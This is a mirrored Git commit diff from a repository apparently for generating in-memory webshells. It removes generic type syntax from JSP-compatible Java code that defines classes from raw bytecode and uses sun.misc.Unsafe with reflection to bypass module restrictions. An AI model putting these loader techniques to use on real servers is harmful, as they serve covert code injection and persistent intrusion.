mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
refactor: rm jsp generic syntax
This commit is contained in:
@@ -4,7 +4,7 @@
|
|||||||
super(classLoader);
|
super(classLoader);
|
||||||
}
|
}
|
||||||
|
|
||||||
public Class<?> defineClass(byte[] code) {
|
public Class defineClass(byte[] code) {
|
||||||
return defineClass(null, code, 0, code.length);
|
return defineClass(null, code, 0, code.length);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,7 +6,7 @@
|
|||||||
public ClassDefiner(ClassLoader classLoader) {
|
public ClassDefiner(ClassLoader classLoader) {
|
||||||
super(classLoader);
|
super(classLoader);
|
||||||
}
|
}
|
||||||
public Class<?> defineClass(byte[] code) {
|
public Class defineClass(byte[] code) {
|
||||||
return defineClass(null, code, 0, code.length);
|
return defineClass(null, code, 0, code.length);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,7 +4,7 @@
|
|||||||
long offset = 48;
|
long offset = 48;
|
||||||
java.lang.reflect.Method getAndSetObjectM = null;
|
java.lang.reflect.Method getAndSetObjectM = null;
|
||||||
try {
|
try {
|
||||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
Class unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||||
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||||
unsafeField.setAccessible(true);
|
unsafeField.setAccessible(true);
|
||||||
unsafe = unsafeField.get(null);
|
unsafe = unsafeField.get(null);
|
||||||
@@ -28,7 +28,7 @@
|
|||||||
}
|
}
|
||||||
java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||||
defMethod.setAccessible(true);
|
defMethod.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
|
Class clazz = (Class) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
|
||||||
if (getAndSetObjectM != null) {
|
if (getAndSetObjectM != null) {
|
||||||
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
|
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user